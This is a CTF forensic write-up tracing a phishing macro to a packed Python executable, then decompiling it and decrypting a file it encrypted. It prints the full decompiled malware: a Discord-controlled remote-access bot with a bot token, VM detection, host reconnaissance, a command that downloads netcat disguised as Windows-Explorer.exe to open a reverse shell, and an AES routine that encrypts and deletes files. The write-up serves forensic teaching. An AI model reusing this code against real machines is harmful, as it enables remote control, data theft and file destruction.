Midnight Flag CTF - SecretaryCompromise 1 & 2

Introduction

The Midnight Flag is a CTF organized by the students of ESNA for this third edition we participated (and won) the final with my team @Perce, @Voydstack and @Mizu.
It was a great CTF, with a great atmosphere and very good challenges, the orga was really top notch! ❤️
I wanted to do a Writeup for a Forensic challenge that I really enjoyed and for which we were the only ones to pass the second stage.

SecretaryCompromise - 1/2

  • Name : SecretaryCompromise - 1/2
  • Catégory : Forensic
  • Solves : 6
  • Author : Nemo

It seems that the computer of one of the airline’s secretaries has been compromised with phishing. Help us understand what really happened. The flag is the name of the malicious executable launched on the machine (with the extension) and the email of the victim. Exemple : MCTF{[email protected]}

The challenge starts with an image.vmdk file, a virtual machine that needs to be imported. Once done, we start the machine and we find a Windows environment.
We soon notice that the recycle garbage has not been emptied and that it contains files that can be restored, which we’re going to do for a file called information.ods.

Directly, we can suspect an infection by Word Macro since the description refers to phishing. To inspect macros, simply edit them via the Office interface.

The macros displayed on the document confirm our theory and provide us here a part of the flag, the name of the binary launched by the attacker: maintenanceservice.exe.
This Macro clearly shows that, once launched, it will download a binary onto the victim’s machine and save it in C:\Users\judy.malasyia\AppData\Local\Temp\.

Now that we know how the victim was compromised and the name of the malicious executable, we need to find his e-mail address.
The first thing that comes to my mind is to find online accounts registered in the browser. Indeed, the victim is logged into his Microsoft Edge account.

We now have all the information we need to create the flag: MCTF{[email protected]} 🔥

SecretaryCompromise - 2/2

  • Name : SecretaryCompromise - 2/2
  • Catégory : Forensic
  • Solves : 1
  • Author : Nemo

We found an encrypted file. Did the malware encrypt it ? Find a way to read the important file

For this second part, we’re going to retrieve the malware from the machine in order to understand how it works.

With a simple strings command, it’s possible to retrieve information about the executable and understand that it’s a packed Python.

» strings maintenanceservice.exe 

[...]
b_ssl.pyd
baiohttp\_helpers.cp38-win_amd64.pyd
baiohttp\_http_parser.cp38-win_amd64.pyd
baiohttp\_http_writer.cp38-win_amd64.pyd
baiohttp\_websocket.cp38-win_amd64.pyd
bfrozenlist\_frozenlist.cp38-win_amd64.pyd
blibcrypto-1_1.dll
blibffi-7.dll
blibssl-1_1.dll
bmultidict\_multidict.cp38-win_amd64.pyd
bpyexpat.pyd
bpython38.dll
bselect.pyd
bunicodedata.pyd
byarl\_quoting_c.cp38-win_amd64.pyd
xbase_library.zip
xcertifi\py.typed
zPYZ-00.pyz
4python38.dll

We’ll start by unpacking it to obtain its original code, and with a quick search we’ll find the PyInstaller Extractor tool, which will allow us to extract the python files from the executable.

» python3 pyinstxtractor.py ./maintenanceservice.exe 
[+] Processing ./maintenanceservice.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 8964700 bytes
[+] Found 81 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: legit.pyc
[+] Found 467 files in PYZ archive
[+] Successfully extracted pyinstaller archive: ./maintenanceservice.exe

We now have all the executable files, including the original source code, libraries and dlls. The legit.pyc file obviously looks more interesting than the others.
The .pyc files are python bytecode, which means we don’t yet have the code in plain text. To decompile these files, we’ll need the [uncompyle6] tool (https://github.com/rocky/python-uncompyle6).

» uncompyle6 -o legit.py legit.pyc               
legit.pyc -- 
# Successfully decompiled file
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, May 26 2023, 14:05:08) 
# [GCC 9.4.0]
# Embedded file name: legit.py
import platform, discord, re, os, subprocess
from subprocess import Popen, PIPE
from discord.ext import commands
import requests, binascii
from Crypto.Cipher import AES
DISCORD_SERVER = 'https://discord.gg/3WcxAxvpJA'
BOT_TOKEN = 'MTA2MjgwNjM5MjE4MTg4Mjg4MA.GWt5E_.8IjihHPNcEBXZDvIbJVxqWwRazb24PnawDLhzg'
client = commands.Bot(command_prefix='!', intents=(discord.Intents.all()), help_command=None)
KEY = ''
IV = ''

def isVM():
    rules = [
     'Virtualbox', 'vmbox', 'vmware']
    command = subprocess.Popen('systeminfo | findstr  "System Info"', stderr=(subprocess.PIPE), stdin=(subprocess.DEVNULL),
      stdout=(subprocess.PIPE),
      shell=True,
      text=True,
      creationflags=134217728)
    out, err = command.communicate()
    command.wait()
    for rule in rules:
        if re.search(rule, out, re.IGNORECASE):
            return             return True
        return False


@client.event
async def on_ready():
    global IV
    global KEY
    _key = [
     '1', '2', '5', '7']
    for id in _key:
        channel = discord.utils.get((client.get_all_channels()), name=f"key-{id}")
        async for message in channel.history(limit=200):
            KEY = KEY + str(message.content)

else:
    KEY = KEY.strip()
    _iv = [
     '0', '3', '4', '6']
    for id in _iv:
        channel = discord.utils.get((client.get_all_channels()), name=f"key-{id}")
        async for message in channel.history(limit=200):
            IV = IV + str(message.content)

else:
    IV = IV.strip()
    print(KEY)
    print(IV)


@client.command()
async def getHostname(ctx):
    result = platform.node()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def getIP(ctx):
    result = subprocess.run(['cmd.exe', '/c', 'curl ifconfig.me'], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def getUsername(ctx):
    result = os.getlogin()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def getOS(ctx):
    result = platform.platform()
    await ctx.send(f"```{str(result)}```")


@client.command()
async def ls(ctx):
    result = subprocess.run(['cmd.exe', '/c', 'dir'], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def ls_L(ctx):
    result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
    await ctx.send(f"```{str(result)}```")


@client.command()
async def cd(ctx, arg):
    cmd = f"chdir {str(arg)}"
    result = subprocess.run(['cmd.exe', '/c', cmd], capture_output=True, text=True)
    await ctx.send(f"```{str(result.stdout)}```")


@client.command()
async def revshell(ctx, arg, arg2):
    try:
        r = requests.get('https://github.com/int0x33/nc.exe/raw/master/nc64.exe', allow_redirects=True, verify=False)
        open(os.environ['temp'] + '\\Windows-Explorer.exe', 'wb').write(r.content)
        await ctx.send(f"```nc64.exe downloaded in {os.environ['temp']}\\Windows-Explorer.exe```")
        ncPath = f"{os.environ['temp']}\\Windows-Explorer.exe"
        cmd = f"{ncPath} {arg} {arg2} -e cmd.exe"
        ip = subprocess.run(['cmd.exe', '/c', 'curl ifconfig.me'], capture_output=True, text=True)
        await ctx.send(f"```- ReverseShell run on {arg} : {arg2} from [{str(ip.stdout)}] ...```")
        subprocess.run(['cmd.exe', '/c', cmd], capture_output=True, text=True)
        await ctx.send('```- ReverseShell close```')
        delete = f"del {os.environ['temp']}\\Windows-Explorer.exe"
        subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
        await ctx.send('```Delete Windows-Explorer.exe sucessfull !```')
    except:
        await ctx.send('```ReverseShell impossible```')


@client.command()
async def getBits(ctx):
    result = platform.architecture()[0]
    await ctx.send(f"```{str(result)}```")


@client.command()
async def test(ctx):
    pass


@client.command()
async def encF(ctx, arg):
    file_path = arg
    key = binascii.unhexlify(KEY)
    iv = binascii.unhexlify(IV)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    with open(file_path, 'rb') as (f):
        plaintext = f.read()
    plaintext += (16 - len(plaintext) % 16) * bytes([16 - len(plaintext) % 16])
    ciphertext = cipher.encrypt(plaintext)
    with open(file_path + '.enc', 'wb') as (f):
        f.write(ciphertext)
    delete = f"del {arg}"
    subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
    await ctx.send(f"```File {arg} encrypted.```")


if __name__ == '__main__':
    print('MAIN')
    client.run(BOT_TOKEN)

The code is quite clear: it’s the code of a Discord bot that serves as Command & Control for the attacker. At the beginning, we can see a Discord invitation on the attacker’s server that we can join https://discord.gg/3WcxAxvpJA.

We find the command that was executed to encrypt our famous file. According to the encF function called, the file has been encrypted using AES CBC encryption, requiring a key and a IV. These are retrieved from the Discord server by the bot in several different channels.

@client.command()
async def encF(ctx, arg):
    file_path = arg
    key = binascii.unhexlify(KEY)
    iv = binascii.unhexlify(IV)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    with open(file_path, 'rb') as (f):
        plaintext = f.read()
    plaintext += (16 - len(plaintext) % 16) * bytes([16 - len(plaintext) % 16])
    ciphertext = cipher.encrypt(plaintext)
    with open(file_path + '.enc', 'wb') as (f):
        f.write(ciphertext)
    delete = f"del {arg}"
    subprocess.run(['cmd.exe', '/c', delete], capture_output=True, text=True)
    await ctx.send(f"```File {arg} encrypted.```")

We can then retrieve them and run a reverse script that calculates the key and the IV and decrypts our image.

#!/usr/bin/python3

from Crypto.Cipher import AES

keys = [
'fcf0ed2b',
'28436587',
'ed2bb1b0',
'b1b018fd',
'72e9e16f',
'0e95eda7',
'8095d4ca',
'f4385ca8'
]

with open("important.png.enc", "rb") as f:
    ciphertext = f.read()

    key = bytes.fromhex(keys[1] + keys[2] + keys[5] + keys[7])
    iv = bytes.fromhex(keys[0] + keys[3] + keys[4] + keys[6])
    cipher = AES.new(key, AES.MODE_CBC, iv)


    plaintext = cipher.decrypt(ciphertext)
    with open("important.png", "wb") as f:
        f.write(plaintext)

Flag : MCTF{d1sc0rd_s3rv3r_as_a_c2}

Conclusion

Thanks for reading, it was a really nice challenge that covered some notions of reverse malware packaged in python. Another huge GG for the work done by the ESNA students for this final and @Nemo for the challenge. I’d also like to thank @Voydstack for helping me with this challenge!